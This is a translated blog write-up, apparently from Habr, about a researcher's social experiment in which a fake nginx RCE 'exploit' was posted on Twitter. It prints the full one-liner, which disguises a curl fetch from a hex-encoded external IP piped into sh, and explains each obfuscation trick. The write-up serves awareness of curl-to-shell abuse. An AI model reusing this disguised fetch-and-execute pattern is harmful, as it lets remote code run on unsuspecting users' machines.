Uspjeh društvenog eksperimenta s lažnim nginx exploitom

Bilješka. prev.: Autor izvorna bilješka, objavljena 1. lipnja, odlučila je provesti eksperiment među onima koje zanima informacijska sigurnost. Da bi to učinio, pripremio je lažni exploit za neobjavljenu ranjivost na web poslužitelju i objavio ga na svom Twitteru. Njegove pretpostavke – koje će odmah razotkriti stručnjaci koji bi uvidjeli očitu prijevaru u kodu – ne samo da se nisu obistinile... Nadmašile su sva očekivanja, i u suprotnom smjeru: tweet je dobio ogromnu podršku brojnih ljudi koji nisu provjerite njegov sadržaj.

Uspjeh društvenog eksperimenta s lažnim nginx exploitom

TL;DR: Ni pod kojim okolnostima ne koristite cjevovod datoteke u sh ili bash. Ovo je sjajan način da izgubite kontrolu nad svojim računalom.

Želim s vama podijeliti kratku priču o komičnom PoC exploit-u koji je nastao 31. svibnja. Pojavio se odmah kao odgovor na vijest iz Alisa Esage Ševčenko, član Inicijativa nulti dan (ZDI), da će informacije o ranjivosti u NGINX-u koja vodi do RCE (daljinsko izvršavanje koda) uskoro biti objavljene. Budući da NGINX pokreće mnoge web-stranice, vijest je sigurno bila bomba. Ali zbog kašnjenja u procesu "odgovornog otkrivanja podataka", detalji o tome što se dogodilo nisu bili poznati - to je standardni ZDI postupak.

Uspjeh društvenog eksperimenta s lažnim nginx exploitom
Cvrkut o otkrivanju ranjivosti u NGINX-u

Nakon što sam završio s radom na novoj tehnici maskiranja u curlu, citirao sam izvorni tweet i "procurio radni PoC" koji se sastoji od jednog retka koda koji navodno iskorištava otkrivenu ranjivost. Naravno, to je bila potpuna besmislica. Pretpostavio sam da ću odmah biti razotkriven i da ću u najboljem slučaju dobiti nekoliko retweetova (dobro).

Uspjeh društvenog eksperimenta s lažnim nginx exploitom
Cvrkut s lažnim iskorištavanjem

Međutim, nisam mogao zamisliti što se zatim dogodilo. Popularnost mog tweeta naglo je porasla. Iznenađujuće, u ovom trenutku (15:00 po moskovskom vremenu, 1. lipnja) malo je ljudi shvatilo da je ovo lažnjak. Mnogi ga ljudi retvitaju bez da su ga uopće provjerili (a kamoli da se dive lijepoj ASCII grafici koju ispisuje).

Uspjeh društvenog eksperimenta s lažnim nginx exploitom
Pogledajte samo kako je lijep!

Iako su sve ove petlje i boje sjajne, jasno je da su ljudi morali pokrenuti kod na svom računalu da bi ih vidjeli. Srećom, preglednici rade na isti način, a u kombinaciji s činjenicom da zapravo nisam želio upasti u pravne probleme, kod zakopan na mojoj web stranici samo je upućivao pozive bez pokušaja instaliranja ili izvršavanja bilo kakvog dodatnog koda.

Mala digresija: netspooky, DNZ, ja i ostali dečki iz ekipe Razbojnička gomila Već se neko vrijeme igramo s različitim načinima maskiranja curl naredbi jer je to cool... a mi smo štreberi. netspooky i dnz otkrili su nekoliko novih metoda koje su mi se činile iznimno obećavajućima. Pridružio sam se zabavi i pokušao dodati IP decimalne pretvorbe u vreću trikova. Ispada da se IP također može pretvoriti u heksadecimalni format. Štoviše, curl i većina drugih NIX alata rado jedu heksadecimalne IP adrese! Dakle, bilo je samo pitanje stvaranja uvjerljive i sigurne naredbene linije. Na kraju sam se odlučio za ovo:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Socio-elektronički inženjering (SEE) - više od pukog krađe identiteta

Sigurnost i familijarnost bili su glavni dio ovog eksperimenta. Mislim da su oni doveli do njegovog uspjeha. Naredbeni redak jasno je implicirao sigurnost pozivajući se na "127.0.0.1" (dobro poznati lokalni host). Localhost se smatra sigurnim i podaci na njemu nikada ne napuštaju vaše računalo.

Poznavanje je bila druga ključna SEE komponenta eksperimenta. Budući da su ciljanu publiku primarno činili ljudi koji su upoznati s osnovama računalne sigurnosti, bilo je važno kreirati kod tako da se njegovi dijelovi čine poznatim i poznatim (a time i sigurnim). Posuđivanje elemenata starih koncepata exploita i njihovo kombiniranje na neobičan način pokazalo se vrlo uspješnim.

Ispod je detaljna analiza jednolinijskog teksta. Sve na ovoj listi nosi kozmetičke prirode, a za njegov stvarni rad nije potrebno praktički ništa.

Koje su komponente zaista potrebne? Ovaj -gsS, -O 0x0238f06a, |sh i sam web poslužitelj. Web poslužitelj nije sadržavao nikakve zlonamjerne upute, već je jednostavno posluživao ASCII grafiku pomoću naredbi echo u skripti sadržanoj u index.html. Kada je korisnik ušao u red sa |sh u sredini, index.html učitano i izvršeno. Srećom, skrbnici web servera nisu imali zle namjere.

  • ../../../%00 — predstavlja izlazak iz okvira imenika;
  • ngx_stream_module.so — put do nasumičnog NGINX modula;
  • /bin/sh%00<'protocol:TCP' - navodno pokrećemo /bin/sh na ciljnom stroju i preusmjerite izlaz na TCP kanal;
  • -O 0x0238f06a#PLToffset - tajni sastojak, dopunjen #PLToffset, izgledati kao memorijski offset nekako sadržan u PLT-u;
  • |sh; - još jedan važan fragment. Trebali smo preusmjeriti izlaz na sh/bash kako bismo izvršili kod koji dolazi s napadačkog web poslužitelja koji se nalazi na 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - lutka na koju se odnosi netcat /dev/tcp/localhosttako da sve opet izgleda sigurno. Zapravo, ne radi ništa i uključen je u liniju za ljepotu.

Ovime se završava dekodiranje jednolinijske skripte i rasprava o aspektima "društveno-elektroničkog inženjeringa" (zamršeni phishing).

Konfiguracija web poslužitelja i protumjere

Budući da su velika većina mojih pretplatnika infosec/hakeri, odlučio sam učiniti web poslužitelj malo otpornijim na izraze "interesa" s njihove strane, samo kako bi dečki imali što raditi (i bilo bi zabavno postaviti). Neću ovdje nabrajati sve zamke jer je eksperiment još u tijeku, ali evo nekoliko stvari koje poslužitelj radi:

  • Aktivno prati pokušaje distribucije na određenim društvenim mrežama i zamjenjuje razne preview sličice kako bi potaknuo korisnika da klikne na link.
  • Preusmjerava Chrome/Mozilla/Safari/itd na promotivni video Thugcrowd umjesto prikazivanja skripte ljuske.
  • Prati OČITE znakove upada/očitog hakiranja, a zatim počinje preusmjeravati zahtjeve na NSA poslužitelje (ha!).
  • Instalira Trojan, kao i BIOS rootkit, na sva računala čiji korisnici posjećuju host iz običnog preglednika (šalim se!).

Uspjeh društvenog eksperimenta s lažnim nginx exploitom
Mali dio antimera

U ovom slučaju, moj jedini cilj je bio savladati neke od značajki Apachea - posebno, super pravila za preusmjeravanje zahtjeva - i pomislio sam: zašto ne?

NGINX eksploatacija (stvarno!)

Pretplatite se na @alisaesage na Twitteru i pratite ZDI-jev sjajan rad u rješavanju vrlo stvarnih ranjivosti i iskorištavanju prilika u NGINX-u. Njihov me rad oduvijek fascinirao i zahvalan sam Alice na strpljenju sa svim spominjanjima i obavijestima koje je moj glupi tweet izazvao. Srećom, učinio je i nešto dobro: pomogao je podići svijest o ranjivostima NGINX-a, kao i problemima uzrokovanim zlouporabom curla.

Izvor: www.habr.com

Dodajte komentar